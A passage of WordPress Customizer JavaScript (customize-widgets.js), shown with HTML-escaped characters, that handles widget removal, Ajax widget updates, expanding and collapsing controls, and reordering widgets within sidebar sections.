		 * Set up event handlers for widget removal
		 */
		_setupRemoveUI: function() {
			var self = this, $removeBtn, replaceDeleteWithRemove;

			// Configure remove button.
			$removeBtn = this.container.find( &#039;.widget-control-remove&#039; );
			$removeBtn.on( &#039;click&#039;, function() {
				// Find an adjacent element to add focus to when this widget goes away.
				var $adjacentFocusTarget;
				if ( self.container.next().is( &#039;.customize-control-widget_form&#039; ) ) {
					$adjacentFocusTarget = self.container.next().find( &#039;.widget-action:first&#039; );
				} else if ( self.container.prev().is( &#039;.customize-control-widget_form&#039; ) ) {
					$adjacentFocusTarget = self.container.prev().find( &#039;.widget-action:first&#039; );
				} else {
					$adjacentFocusTarget = self.container.next( &#039;.customize-control-sidebar_widgets&#039; ).find( &#039;.add-new-widget:first&#039; );
				}

				self.container.slideUp( function() {
					var sidebarsWidgetsControl = api.Widgets.getSidebarWidgetControlContainingWidget( self.params.widget_id ),
						sidebarWidgetIds, i;

					if ( ! sidebarsWidgetsControl ) {
						return;
					}

					sidebarWidgetIds = sidebarsWidgetsControl.setting().slice();
					i = _.indexOf( sidebarWidgetIds, self.params.widget_id );
					if ( -1 === i ) {
						return;
					}

					sidebarWidgetIds.splice( i, 1 );
					sidebarsWidgetsControl.setting( sidebarWidgetIds );

					$adjacentFocusTarget.focus(); // Keyboard accessibility.
				} );
			} );

			replaceDeleteWithRemove = function() {
				$removeBtn.text( l10n.removeBtnLabel ); // wp_widget_control() outputs the button as &quot;Delete&quot;.
				$removeBtn.attr( &#039;title&#039;, l10n.removeBtnTooltip );
			};

			if ( this.params.is_new ) {
				api.bind( &#039;saved&#039;, replaceDeleteWithRemove );
			} else {
				replaceDeleteWithRemove();
			}
		},

		/**
		 * Find all inputs in a widget container that should be considered when
		 * comparing the loaded form with the sanitized form, whose fields will
		 * be aligned to copy the sanitized over. The elements returned by this
		 * are passed into this._getInputsSignature(), and they are iterated
		 * over when copying sanitized values over to the form loaded.
		 *
		 * @param {jQuery} container element in which to look for inputs
		 * @return {jQuery} inputs
		 * @private
		 */
		_getInputs: function( container ) {
			return $( container ).find( &#039;:input[name]&#039; );
		},

		/**
		 * Iterate over supplied inputs and create a signature string for all of them together.
		 * This string can be used to compare whether or not the form has all of the same fields.
		 *
		 * @param {jQuery} inputs
		 * @return {string}
		 * @private
		 */
		_getInputsSignature: function( inputs ) {
			var inputsSignatures = _( inputs ).map( function( input ) {
				var $input = $( input ), signatureParts;

				if ( $input.is( &#039;:checkbox, :radio&#039; ) ) {
					signatureParts = [ $input.attr( &#039;id&#039; ), $input.attr( &#039;name&#039; ), $input.prop( &#039;value&#039; ) ];
				} else {
					signatureParts = [ $input.attr( &#039;id&#039; ), $input.attr( &#039;name&#039; ) ];
				}

				return signatureParts.join( &#039;,&#039; );
			} );

			return inputsSignatures.join( &#039;;&#039; );
		},

		/**
		 * Get the state for an input depending on its type.
		 *
		 * @param {jQuery|Element} input
		 * @return {string|boolean|Array|*}
		 * @private
		 */
		_getInputState: function( input ) {
			input = $( input );
			if ( input.is( &#039;:radio, :checkbox&#039; ) ) {
				return input.prop( &#039;checked&#039; );
			} else if ( input.is( &#039;select[multiple]&#039; ) ) {
				return input.find( &#039;option:selected&#039; ).map( function () {
					return $( this ).val();
				} ).get();
			} else {
				return input.val();
			}
		},

		/**
		 * Update an input&#039;s state based on its type.
		 *
		 * @param {jQuery|Element} input
		 * @param {string|boolean|Array|*} state
		 * @private
		 */
		_setInputState: function ( input, state ) {
			input = $( input );
			if ( input.is( &#039;:radio, :checkbox&#039; ) ) {
				input.prop( &#039;checked&#039;, state );
			} else if ( input.is( &#039;select[multiple]&#039; ) ) {
				if ( ! Array.isArray( state ) ) {
					state = [];
				} else {
					// Make sure all state items are strings since the DOM value is a string.
					state = _.map( state, function ( value ) {
						return String( value );
					} );
				}
				input.find( &#039;option&#039; ).each( function () {
					$( this ).prop( &#039;selected&#039;, -1 !== _.indexOf( state, String( this.value ) ) );
				} );
			} else {
				input.val( state );
			}
		},

		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * @return {wp.customize.controlConstructor.sidebar_widgets[]}
		 */
		getSidebarWidgetsControl: function() {
			var settingId, sidebarWidgetsControl;

			settingId = &#039;sidebars_widgets[&#039; + this.params.sidebar_id + &#039;]&#039;;
			sidebarWidgetsControl = api.control( settingId );

			if ( ! sidebarWidgetsControl ) {
				return;
			}

			return sidebarWidgetsControl;
		},

		/**
		 * Submit the widget form via Ajax and get back the updated instance,
		 * along with the new widget control form to render.
		 *
		 * @param {Object} [args]
		 * @param {Object|null} [args.instance=null]  When the model changes, the instance is sent here; otherwise, the inputs from the form are used
		 * @param {Function|null} [args.complete=null]  Function which is called when the request finishes. Context is bound to the control. First argument is any error. Following arguments are for success.
		 * @param {boolean} [args.ignoreActiveElement=false] Whether or not updating a field will be deferred if focus is still on the element.
		 */
		updateWidget: function( args ) {
			var self = this, instanceOverride, completeCallback, $widgetRoot, $widgetContent,
				updateNumber, params, data, $inputs, processing, jqxhr, isChanged;

			// The updateWidget logic requires that the form fields to be fully present.
			self.embedWidgetContent();

			args = $.extend( {
				instance: null,
				complete: null,
				ignoreActiveElement: false
			}, args );

			instanceOverride = args.instance;
			completeCallback = args.complete;

			this._updateCount += 1;
			updateNumber = this._updateCount;

			$widgetRoot = this.container.find( &#039;.widget:first&#039; );
			$widgetContent = $widgetRoot.find( &#039;.widget-content:first&#039; );

			// Remove a previous error message.
			$widgetContent.find( &#039;.widget-error&#039; ).remove();

			this.container.addClass( &#039;widget-form-loading&#039; );
			this.container.addClass( &#039;previewer-loading&#039; );
			processing = api.state( &#039;processing&#039; );
			processing( processing() + 1 );

			if ( ! this.liveUpdateMode ) {
				this.container.addClass( &#039;widget-form-disabled&#039; );
			}

			params = {};
			params.action = &#039;update-widget&#039;;
			params.wp_customize = &#039;on&#039;;
			params.nonce = api.settings.nonce[&#039;update-widget&#039;];
			params.customize_theme = api.settings.theme.stylesheet;
			params.customized = wp.customize.previewer.query().customized;

			data = $.param( params );
			$inputs = this._getInputs( $widgetContent );

			/*
			 * Store the value we&#039;re submitting in data so that when the response comes back,
			 * we know if it got sanitized; if there is no difference in the sanitized value,
			 * then we do not need to touch the UI and mess up the user&#039;s ongoing editing.
			 */
			$inputs.each( function() {
				$( this ).data( &#039;state&#039; + updateNumber, self._getInputState( this ) );
			} );

			if ( instanceOverride ) {
				data += &#039;&amp;&#039; + $.param( { &#039;sanitized_widget_setting&#039;: JSON.stringify( instanceOverride ) } );
			} else {
				data += &#039;&amp;&#039; + $inputs.serialize();
			}
			data += &#039;&amp;&#039; + $widgetContent.find( &#039;~ :input&#039; ).serialize();

			if ( this._previousUpdateRequest ) {
				this._previousUpdateRequest.abort();
			}
			jqxhr = $.post( wp.ajax.settings.url, data );
			this._previousUpdateRequest = jqxhr;

			jqxhr.done( function( r ) {
				var message, sanitizedForm,	$sanitizedInputs, hasSameInputsInResponse,
					isLiveUpdateAborted = false;

				// Check if the user is logged out.
				if ( &#039;0&#039; === r ) {
					api.previewer.preview.iframe.hide();
					api.previewer.login().done( function() {
						self.updateWidget( args );
						api.previewer.preview.iframe.show();
					} );
					return;
				}

				// Check for cheaters.
				if ( &#039;-1&#039; === r ) {
					api.previewer.cheatin();
					return;
				}

				if ( r.success ) {
					sanitizedForm = $( &#039;&lt;div&gt;&#039; + r.data.form + &#039;&lt;/div&gt;&#039; );
					$sanitizedInputs = self._getInputs( sanitizedForm );
					hasSameInputsInResponse = self._getInputsSignature( $inputs ) === self._getInputsSignature( $sanitizedInputs );

					// Restore live update mode if sanitized fields are now aligned with the existing fields.
					if ( hasSameInputsInResponse &amp;&amp; ! self.liveUpdateMode ) {
						self.liveUpdateMode = true;
						self.container.removeClass( &#039;widget-form-disabled&#039; );
						self.container.find( &#039;input[name=&quot;savewidget&quot;]&#039; ).hide();
					}

					// Sync sanitized field states to existing fields if they are aligned.
					if ( hasSameInputsInResponse &amp;&amp; self.liveUpdateMode ) {
						$inputs.each( function( i ) {
							var $input = $( this ),
								$sanitizedInput = $( $sanitizedInputs[i] ),
								submittedState, sanitizedState,	canUpdateState;

							submittedState = $input.data( &#039;state&#039; + updateNumber );
							sanitizedState = self._getInputState( $sanitizedInput );
							$input.data( &#039;sanitized&#039;, sanitizedState );

							canUpdateState = ( ! _.isEqual( submittedState, sanitizedState ) &amp;&amp; ( args.ignoreActiveElement || ! $input.is( document.activeElement ) ) );
							if ( canUpdateState ) {
								self._setInputState( $input, sanitizedState );
							}
						} );

						$( document ).trigger( &#039;widget-synced&#039;, [ $widgetRoot, r.data.form ] );

					// Otherwise, if sanitized fields are not aligned with existing fields, disable live update mode if enabled.
					} else if ( self.liveUpdateMode ) {
						self.liveUpdateMode = false;
						self.container.find( &#039;input[name=&quot;savewidget&quot;]&#039; ).show();
						isLiveUpdateAborted = true;

					// Otherwise, replace existing form with the sanitized form.
					} else {
						$widgetContent.html( r.data.form );

						self.container.removeClass( &#039;widget-form-disabled&#039; );

						$( document ).trigger( &#039;widget-updated&#039;, [ $widgetRoot ] );
					}

					/**
					 * If the old instance is identical to the new one, there is nothing new
					 * needing to be rendered, and so we can preempt the event for the
					 * preview finishing loading.
					 */
					isChanged = ! isLiveUpdateAborted &amp;&amp; ! _( self.setting() ).isEqual( r.data.instance );
					if ( isChanged ) {
						self.isWidgetUpdating = true; // Suppress triggering another updateWidget.
						self.setting( r.data.instance );
						self.isWidgetUpdating = false;
					} else {
						// No change was made, so stop the spinner now instead of when the preview would updates.
						self.container.removeClass( &#039;previewer-loading&#039; );
					}

					if ( completeCallback ) {
						completeCallback.call( self, null, { noChange: ! isChanged, ajaxFinished: true } );
					}
				} else {
					// General error message.
					message = l10n.error;

					if ( r.data &amp;&amp; r.data.message ) {
						message = r.data.message;
					}

					if ( completeCallback ) {
						completeCallback.call( self, message );
					} else {
						$widgetContent.prepend( &#039;&lt;p class=&quot;widget-error&quot;&gt;&lt;strong&gt;&#039; + message + &#039;&lt;/strong&gt;&lt;/p&gt;&#039; );
					}
				}
			} );

			jqxhr.fail( function( jqXHR, textStatus ) {
				if ( completeCallback ) {
					completeCallback.call( self, textStatus );
				}
			} );

			jqxhr.always( function() {
				self.container.removeClass( &#039;widget-form-loading&#039; );

				$inputs.each( function() {
					$( this ).removeData( &#039;state&#039; + updateNumber );
				} );

				processing( processing() - 1 );
			} );
		},

		/**
		 * Expand the accordion section containing a control
		 */
		expandControlSection: function() {
			api.Control.prototype.expand.call( this );
		},

		/**
		 * @since 4.1.0
		 *
		 * @param {Boolean} expanded
		 * @param {Object} [params]
		 * @return {Boolean} False if state already applied.
		 */
		_toggleExpanded: api.Section.prototype._toggleExpanded,

		/**
		 * @since 4.1.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already expanded.
		 */
		expand: api.Section.prototype.expand,

		/**
		 * Expand the widget form control
		 *
		 * @deprecated 4.1.0 Use this.expand() instead.
		 */
		expandForm: function() {
			this.expand();
		},

		/**
		 * @since 4.1.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already collapsed.
		 */
		collapse: api.Section.prototype.collapse,

		/**
		 * Collapse the widget form control
		 *
		 * @deprecated 4.1.0 Use this.collapse() instead.
		 */
		collapseForm: function() {
			this.collapse();
		},

		/**
		 * Expand or collapse the widget control
		 *
		 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
		 *
		 * @param {boolean|undefined} [showOrHide] If not supplied, will be inverse of current visibility
		 */
		toggleForm: function( showOrHide ) {
			if ( typeof showOrHide === &#039;undefined&#039; ) {
				showOrHide = ! this.expanded();
			}
			this.expanded( showOrHide );
		},

		/**
		 * Respond to change in the expanded state.
		 *
		 * @param {boolean} expanded
		 * @param {Object} args  merged on top of this.defaultActiveArguments
		 */
		onChangeExpanded: function ( expanded, args ) {
			var self = this, $widget, $inside, complete, prevComplete, expandControl, $toggleBtn;

			self.embedWidgetControl(); // Make sure the outer form is embedded so that the expanded state can be set in the UI.
			if ( expanded ) {
				self.embedWidgetContent();
			}

			// If the expanded state is unchanged only manipulate container expanded states.
			if ( args.unchanged ) {
				if ( expanded ) {
					api.Control.prototype.expand.call( self, {
						completeCallback:  args.completeCallback
					});
				}
				return;
			}

			$widget = this.container.find( &#039;div.widget:first&#039; );
			$inside = $widget.find( &#039;.widget-inside:first&#039; );
			$toggleBtn = this.container.find( &#039;.widget-top button.widget-action&#039; );

			expandControl = function() {

				// Close all other widget controls before expanding this one.
				api.control.each( function( otherControl ) {
					if ( self.params.type === otherControl.params.type &amp;&amp; self !== otherControl ) {
						otherControl.collapse();
					}
				} );

				complete = function() {
					self.container.removeClass( &#039;expanding&#039; );
					self.container.addClass( &#039;expanded&#039; );
					$widget.addClass( &#039;open&#039; );
					$toggleBtn.attr( &#039;aria-expanded&#039;, &#039;true&#039; );
					self.container.trigger( &#039;expanded&#039; );
				};
				if ( args.completeCallback ) {
					prevComplete = complete;
					complete = function () {
						prevComplete();
						args.completeCallback();
					};
				}

				if ( self.params.is_wide ) {
					$inside.fadeIn( args.duration, complete );
				} else {
					$inside.slideDown( args.duration, complete );
				}

				self.container.trigger( &#039;expand&#039; );
				self.container.addClass( &#039;expanding&#039; );
			};

			if ( $toggleBtn.attr( &#039;aria-expanded&#039; ) === &#039;false&#039; ) {
				if ( api.section.has( self.section() ) ) {
					api.section( self.section() ).expand( {
						completeCallback: expandControl
					} );
				} else {
					expandControl();
				}
			} else {
				complete = function() {
					self.container.removeClass( &#039;collapsing&#039; );
					self.container.removeClass( &#039;expanded&#039; );
					$widget.removeClass( &#039;open&#039; );
					$toggleBtn.attr( &#039;aria-expanded&#039;, &#039;false&#039; );
					self.container.trigger( &#039;collapsed&#039; );
				};
				if ( args.completeCallback ) {
					prevComplete = complete;
					complete = function () {
						prevComplete();
						args.completeCallback();
					};
				}

				self.container.trigger( &#039;collapse&#039; );
				self.container.addClass( &#039;collapsing&#039; );

				if ( self.params.is_wide ) {
					$inside.fadeOut( args.duration, complete );
				} else {
					$inside.slideUp( args.duration, function() {
						$widget.css( { width:&#039;&#039;, margin:&#039;&#039; } );
						complete();
					} );
				}
			}
		},

		/**
		 * Get the position (index) of the widget in the containing sidebar
		 *
		 * @return {number}
		 */
		getWidgetSidebarPosition: function() {
			var sidebarWidgetIds, position;

			sidebarWidgetIds = this.getSidebarWidgetsControl().setting();
			position = _.indexOf( sidebarWidgetIds, this.params.widget_id );

			if ( position === -1 ) {
				return;
			}

			return position;
		},

		/**
		 * Move widget up one in the sidebar
		 */
		moveUp: function() {
			this._moveWidgetByOne( -1 );
		},

		/**
		 * Move widget up one in the sidebar
		 */
		moveDown: function() {
			this._moveWidgetByOne( 1 );
		},

		/**
		 * @private
		 *
		 * @param {number} offset 1|-1
		 */
		_moveWidgetByOne: function( offset ) {
			var i, sidebarWidgetsSetting, sidebarWidgetIds,	adjacentWidgetId;

			i = this.getWidgetSidebarPosition();

			sidebarWidgetsSetting = this.getSidebarWidgetsControl().setting;
			sidebarWidgetIds = Array.prototype.slice.call( sidebarWidgetsSetting() ); // Clone.
			adjacentWidgetId = sidebarWidgetIds[i + offset];
			sidebarWidgetIds[i + offset] = this.params.widget_id;
			sidebarWidgetIds[i] = adjacentWidgetId;

			sidebarWidgetsSetting( sidebarWidgetIds );
		},

		/**
		 * Toggle visibility of the widget move area
		 *
		 * @param {boolean} [showOrHide]
		 */
		toggleWidgetMoveArea: function( showOrHide ) {
			var self = this, $moveWidgetArea;

			$moveWidgetArea = this.container.find( &#039;.move-widget-area&#039; );

			if ( typeof showOrHide === &#039;undefined&#039; ) {
				showOrHide = ! $moveWidgetArea.hasClass( &#039;active&#039; );
			}

			if ( showOrHide ) {
				// Reset the selected sidebar.
				$moveWidgetArea.find( &#039;.selected&#039; ).removeClass( &#039;selected&#039; );

				$moveWidgetArea.find( &#039;li&#039; ).filter( function() {
					return $( this ).data( &#039;id&#039; ) === self.params.sidebar_id;
				} ).addClass( &#039;selected&#039; );

				this.container.find( &#039;.move-widget-btn&#039; ).prop( &#039;disabled&#039;, true );
			}

			$moveWidgetArea.toggleClass( &#039;active&#039;, showOrHide );
		},

		/**
		 * Highlight the widget control and section
		 */
		highlightSectionAndControl: function() {
			var $target;

			if ( this.container.is( &#039;:hidden&#039; ) ) {
				$target = this.container.closest( &#039;.control-section&#039; );
			} else {
				$target = this.container;
			}

			$( &#039;.highlighted&#039; ).removeClass( &#039;highlighted&#039; );
			$target.addClass( &#039;highlighted&#039; );

			setTimeout( function() {
				$target.removeClass( &#039;highlighted&#039; );
			}, 500 );
		}
	} );

	/**
	 * wp.customize.Widgets.WidgetsPanel
	 *
	 * Customizer panel containing the widget area sections.
	 *
	 * @since 4.4.0
	 *
	 * @class    wp.customize.Widgets.WidgetsPanel
	 * @augments wp.customize.Panel
	 */
	api.Widgets.WidgetsPanel = api.Panel.extend(/** @lends wp.customize.Widgets.WigetsPanel.prototype */{

		/**
		 * Add and manage the display of the no-rendered-areas notice.
		 *
		 * @since 4.4.0
		 */
		ready: function () {
			var panel = this;

			api.Panel.prototype.ready.call( panel );

			panel.deferred.embedded.done(function() {
				var panelMetaContainer, noticeContainer, updateNotice, getActiveSectionCount, shouldShowNotice;
				panelMetaContainer = panel.container.find( &#039;.panel-meta&#039; );

				// @todo This should use the Notifications API introduced to panels. See &lt;https://core.trac.wordpress.org/ticket/38794&gt;.
				noticeContainer = $( &#039;&lt;div&gt;&lt;/div&gt;&#039;, {
					&#039;class&#039;: &#039;no-widget-areas-rendered-notice&#039;,
					&#039;role&#039;: &#039;alert&#039;
				});
				panelMetaContainer.append( noticeContainer );

				/**
				 * Get the number of active sections in the panel.
				 *
				 * @return {number} Number of active sidebar sections.
				 */
				getActiveSectionCount = function() {
					return _.filter( panel.sections(), function( section ) {
						return &#039;sidebar&#039; === section.params.type &amp;&amp; section.active();
					} ).length;
				};

				/**
				 * Determine whether or not the notice should be displayed.
				 *
				 * @return {boolean}
				 */
				shouldShowNotice = function() {
					var activeSectionCount = getActiveSectionCount();
					if ( 0 === activeSectionCount ) {
						return true;
					} else {
						return activeSectionCount !== api.Widgets.data.registeredSidebars.length;
					}
				};

				/**
				 * Update the notice.
				 *
				 * @return {void}
				 */
				updateNotice = function() {
					var activeSectionCount = getActiveSectionCount(), someRenderedMessage, nonRenderedAreaCount, registeredAreaCount;
					noticeContainer.empty();

					registeredAreaCount = api.Widgets.data.registeredSidebars.length;
					if ( activeSectionCount !== registeredAreaCount ) {

						if ( 0 !== activeSectionCount ) {
							nonRenderedAreaCount = registeredAreaCount - activeSectionCount;
							someRenderedMessage = l10n.someAreasShown[ nonRenderedAreaCount ];
						} else {
							someRenderedMessage = l10n.noAreasShown;
						}
						if ( someRenderedMessage ) {
							noticeContainer.append( $( &#039;&lt;p&gt;&lt;/p&gt;&#039;, {
								text: someRenderedMessage
							} ) );
						}

						noticeContainer.append( $( &#039;&lt;p&gt;&lt;/p&gt;&#039;, {
							text: l10n.navigatePreview
						} ) );
					}
				};
				updateNotice();

				/*
				 * Set the initial visibility state for rendered notice.
				 * Update the visibility of the notice whenever a reflow happens.
				 */
				noticeContainer.toggle( shouldShowNotice() );
				api.previewer.deferred.active.done( function () {
					noticeContainer.toggle( shouldShowNotice() );
				});
				api.bind( &#039;pane-contents-reflowed&#039;, function() {
					var duration = ( &#039;resolved&#039; === api.previewer.deferred.active.state() ) ? &#039;fast&#039; : 0;
					updateNotice();
					if ( shouldShowNotice() ) {
						noticeContainer.slideDown( duration );
					} else {
						noticeContainer.slideUp( duration );
					}
				});
			});
		},

		/**
		 * Allow an active widgets panel to be contextually active even when it has no active sections (widget areas).
		 *
		 * This ensures that the widgets panel appears even when there are no
		 * sidebars displayed on the URL currently being previewed.
		 *
		 * @since 4.4.0
		 *
		 * @return {boolean}
		 */
		isContextuallyActive: function() {
			var panel = this;
			return panel.active();
		}
	});

	/**
	 * wp.customize.Widgets.SidebarSection
	 *
	 * Customizer section representing a widget area widget
	 *
	 * @since 4.1.0
	 *
	 * @class    wp.customize.Widgets.SidebarSection
	 * @augments wp.customize.Section
	 */
	api.Widgets.SidebarSection = api.Section.extend(/** @lends wp.customize.Widgets.SidebarSection.prototype */{

		/**
		 * Sync the section&#039;s active state back to the Backbone model&#039;s is_rendered attribute
		 *
		 * @since 4.1.0
		 */
		ready: function () {
			var section = this, registeredSidebar;
			api.Section.prototype.ready.call( this );
			registeredSidebar = api.Widgets.registeredSidebars.get( section.params.sidebarId );
			section.active.bind( function ( active ) {
				registeredSidebar.set( &#039;is_rendered&#039;, active );
			});
			registeredSidebar.set( &#039;is_rendered&#039;, section.active() );
		}
	});

	/**
	 * wp.customize.Widgets.SidebarControl
	 *
	 * Customizer control for widgets.
	 * Note that &#039;sidebar_widgets&#039; must match the WP_Widget_Area_Customize_Control::$type
	 *
	 * @since 3.9.0
	 *
	 * @class    wp.customize.Widgets.SidebarControl
	 * @augments wp.customize.Control
	 */
	api.Widgets.SidebarControl = api.Control.extend(/** @lends wp.customize.Widgets.SidebarControl.prototype */{

		/**
		 * Set up the control
		 */
		ready: function() {
			this.$controlSection = this.container.closest( &#039;.control-section&#039; );
			this.$sectionContent = this.container.closest( &#039;.accordion-section-content&#039; );

			this._setupModel();
			this._setupSortable();
			this._setupAddition();
			this._applyCardinalOrderClassNames();
		},

		/**
		 * Update ordering of widget control forms when the setting is updated
		 */
		_setupModel: function() {
			var self = this;

			this.setting.bind( function( newWidgetIds, oldWidgetIds ) {
				var widgetFormControls, removedWidgetIds, priority;

				removedWidgetIds = _( oldWidgetIds ).difference( newWidgetIds );

				// Filter out any persistent widget IDs for widgets which have been deactivated.
				newWidgetIds = _( newWidgetIds ).filter( function( newWidgetId ) {
					var parsedWidgetId = parseWidgetId( newWidgetId );

					return !! api.Widgets.availableWidgets.findWhere( { id_base: parsedWidgetId.id_base } );
				} );

				widgetFormControls = _( newWidgetIds ).map( function( widgetId ) {
					var widgetFormControl = api.Widgets.getWidgetFormControlForWidget( widgetId );

					if ( ! widgetFormControl ) {
						widgetFormControl = self.addWidget( widgetId );
					}

					return widgetFormControl;
				} );

				// Sort widget controls to their new positions.
				widgetFormControls.sort( function( a, b ) {
					var aIndex = _.indexOf( newWidgetIds, a.params.widget_id ),
						bIndex = _.indexOf( newWidgetIds, b.params.widget_id );
					return aIndex - bIndex;
				});

				priority = 0;
				_( widgetFormControls ).each( function ( control ) {
					control.priority( priority );
					control.section( self.section() );
					priority += 1;
				});
				self.priority( priority ); // Make sure sidebar control remains at end.

				// Re-sort widget form controls (including widgets form other sidebars newly moved here).
				self._applyCardinalOrderClassNames();

				// If the widget was dragged into the sidebar, make sure the sidebar_id param is updated.
				_( widgetFormControls ).each( function( widgetFormControl ) {
					widgetFormControl.params.sidebar_id = self.params.sidebar_id;
				} );

				// Cleanup after widget removal.
				_( removedWidgetIds ).each( function( removedWidgetId ) {

					// Using setTimeout so that when moving a widget to another sidebar,
					// the other sidebars_widgets settings get a chance to update.
					setTimeout( function() {
						var removedControl, wasDraggedToAnotherSidebar, inactiveWidgets, removedIdBase,
							widget, isPresentInAnotherSidebar = false;

						// Check if the widget is in another sidebar.
						api.each( function( otherSetting ) {
							if ( otherSetting.id === self.setting.id || 0 !== otherSetting.id.indexOf( &#039;sidebars_widgets[&#039; ) || otherSetting.id === &#039;sidebars_widgets[wp_inactive_widgets]&#039; ) {
								return;
							}

							var otherSidebarWidgets = otherSetting(), i;

							i = _.indexOf( otherSidebarWidgets, removedWidgetId );
							if ( -1 !== i ) {
								isPresentInAnotherSidebar = true;
							}
						} );

						// If the widget is present in another sidebar, abort!
						if ( isPresentInAnotherSidebar ) {
							return;
						}

						removedControl = api.Widgets.getWidgetFormControlForWidget( removedWidgetId );

						// Detect if widget control was dragged to another sidebar.
						wasDraggedToAnotherSidebar = removedControl &amp;&amp; $.contains( document, removedControl.container[0] ) &amp;&amp; ! $.contains( self.$sectionContent[0], removedControl.container[0] );

						// Delete any widget form controls for removed widgets.
						if ( removedControl &amp;&amp; ! wasDraggedToAnotherSidebar ) {
							api.control.remove( removedControl.id );
							removedControl.container.remove();
						}

						// Move widget to inactive widgets sidebar (move it to Trash) if has been previously saved.
						// This prevents the inactive widgets sidebar from overflowing with throwaway widgets.
						if ( api.Widgets.savedWidgetIds[removedWidgetId] ) {
							inactiveWidgets = api.value( &#039;sidebars_widgets[wp_inactive_widgets]&#039; )().slice();
							inactiveWidgets.push( removedWidgetId );
							api.value( &#039;sidebars_widgets[wp_inactive_widgets]&#039; )( _( inactiveWidgets ).unique() );
						}

						// Make old single widget available for adding again.
						removedIdBase = parseWidgetId( removedWidgetId ).id_base;
						widget = api.Widgets.availableWidgets.findWhere( { id_base: removedIdBase } );
						if ( widget &amp;&amp; ! widget.get( &#039;is_multi&#039; ) ) {
							widget.set( &#039;is_disabled&#039;, false );
						}
					} );

				} );
			} );
		},

		/**
		 * Allow widgets in sidebar to be re-ordered, and for the order to be previewed
		 */
		_setupSortable: function() {
			var self = this;

			this.isReordering = false;

			/**
			 * Update widget order setting when controls are re-ordered
			 */
			this.$sectionContent.sortable( {
				items: &#039;&gt; .customize-control-widget_form&#039;,
				handle: &#039;.widget-top&#039;,
				axis: &#039;y&#039;,
				tolerance: &#039;pointer&#039;,
				connectWith: &#039;.accordion-section-content:has(.customize-control-sidebar_widgets)&#039;,
				update: function() {
					var widgetContainerIds = self.$sectionContent.sortable( &#039;toArray&#039; ), widgetIds;

					widgetIds = $.map( widgetContainerIds, function( widgetContainerId ) {
						return $( &#039;#&#039; + widgetContainerId ).find( &#039;:input[name=widget-id]&#039; ).val();
					} );

					self.setting( widgetIds );
				}
			} );

			/**
			 * Expand other Customizer sidebar section when dragging a control widget over it,
			 * allowing the control to be dropped into another section
			 */
			this.$controlSection.find( &#039;.accordion-section-title&#039; ).droppable({
				accept: &#039;.customize-control-widget_form&#039;,
				over: function() {
					var section = api.section( self.section.get() );
					section.expand({
						allowMultiple: true, // Prevent the section being dragged from to be collapsed.
						completeCallback: function () {
							// @todo It is not clear when refreshPositions should be called on which sections, or if it is even needed.
							api.section.each( function ( otherSection ) {
								if ( otherSection.container.find( &#039;.customize-control-sidebar_widgets&#039; ).length ) {
									otherSection.container.find( &#039;.accordion-section-content:first&#039; ).sortable( &#039;refreshPositions&#039; );
								}
							} );
						}
					});
				}
			});

			/**
			 * Keyboard-accessible reordering
			 */
			this.container.find( &#039;.reorder-toggle&#039; ).on( &#039;click&#039;, function() {
				self.toggleReordering( ! self.isReordering );
			} );
		},

		/**
		 * Set up UI for adding a new widget
		 */
		_setupAddition: function() {
			var self = this;

			this.container.find( &#039;.add-new-widget&#039; ).on( &#039;click&#039;, function() {
				var addNewWidgetBtn = $( this );

				if ( self.$sectionContent.hasClass( &#039;reordering&#039; ) ) {
					return;
				}

				if ( ! $( &#039;body&#039; ).hasClass( &#039;adding-widget&#039; ) ) {
					addNewWidgetBtn.attr( &#039;aria-expanded&#039;, &#039;true&#039; );
					api.Widgets.availableWidgetsPanel.open( self );
				} else {
					addNewWidgetBtn.attr( &#039;aria-expanded&#039;, &#039;false&#039; );
					api.Widgets.availableWidgetsPanel.close();
				}
			} );
		},

		/**
		 * Add classes to the widget_form controls to assist with styling
		 */
		_applyCardinalOrderClassNames: function() {
			var widgetControls = [];
			_.each( this.setting(), function ( widgetId ) {
				var widgetControl = api.Widgets.getWidgetFormControlForWidget( widgetId );
				if ( widgetControl ) {
					widgetControls.push( widgetControl );
				}
			});

			if ( 0 === widgetControls.length || ( 1 === api.Widgets.registeredSidebars.length &amp;&amp; widgetControls.length &lt;= 1 ) ) {
				this.container.find( &#039;.reorder-toggle&#039; ).hide();
				return;
			} else {
				this.container.find( &#039;.reorder-toggle&#039; ).show();
			}

			$( widgetControls ).each( function () {
				$( this.container )
					.removeClass( &#039;first-widget&#039; )
					.removeClass( &#039;last-widget&#039; )
					.find( &#039;.move-widget-down, .move-widget-up&#039; ).prop( &#039;tabIndex&#039;, 0 );
			});

			_.first( widgetControls ).container
				.addClass( &#039;first-widget&#039; )
				.find( &#039;.move-widget-up&#039; ).prop( &#039;tabIndex&#039;, -1 );

			_.last( widgetControls ).container
				.addClass( &#039;last-widget&#039; )
				.find( &#039;.move-widget-down&#039; ).prop( &#039;tabIndex&#039;, -1 );
		},


		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * Enable/disable the reordering UI
		 *
		 * @param {boolean} showOrHide to enable/disable reordering
		 *
		 * @todo We should have a reordering state instead and rename this to onChangeReordering
		 */
		toggleReordering: function( showOrHide ) {
			var addNewWidgetBtn = this.$sectionContent.find( &#039;.add-new-widget&#039; ),
				reorderBtn = this.container.find( &#039;.reorder-toggle&#039; ),
				widgetsTitle = this.$sectionContent.find( &#039;.widget-title&#039; );

			showOrHide = Boolean( showOrHide );

			if ( showOrHide === this.$sectionContent.hasClass( &#039;reordering&#039; ) ) {
				return;
			}

			this.isReordering = showOrHide;
			this.$sectionContent.toggleClass( &#039;reordering&#039;, showOrHide );

			if ( showOrHide ) {
				_( this.getWidgetFormControls() ).each( function( formControl ) {
					formControl.collapse();
				} );

				addNewWidgetBtn.attr({ &#039;tabindex&#039;: &#039;-1&#039;, &#039;aria-hidden&#039;: &#039;true&#039; });
				reorderBtn.attr( &#039;aria-label&#039;, l10n.reorderLabelOff );
				wp.a11y.speak( l10n.reorderModeOn );
				// Hide widget titles while reordering: title is already in the reorder controls.
				widgetsTitle.attr( &#039;aria-hidden&#039;, &#039;true&#039; );
			} else {
				addNewWidgetBtn.removeAttr( &#039;tabindex aria-hidden&#039; );
				reorderBtn.attr( &#039;aria-label&#039;, l10n.reorderLabelOn );
				wp.a11y.speak( l10n.reorderModeOff );
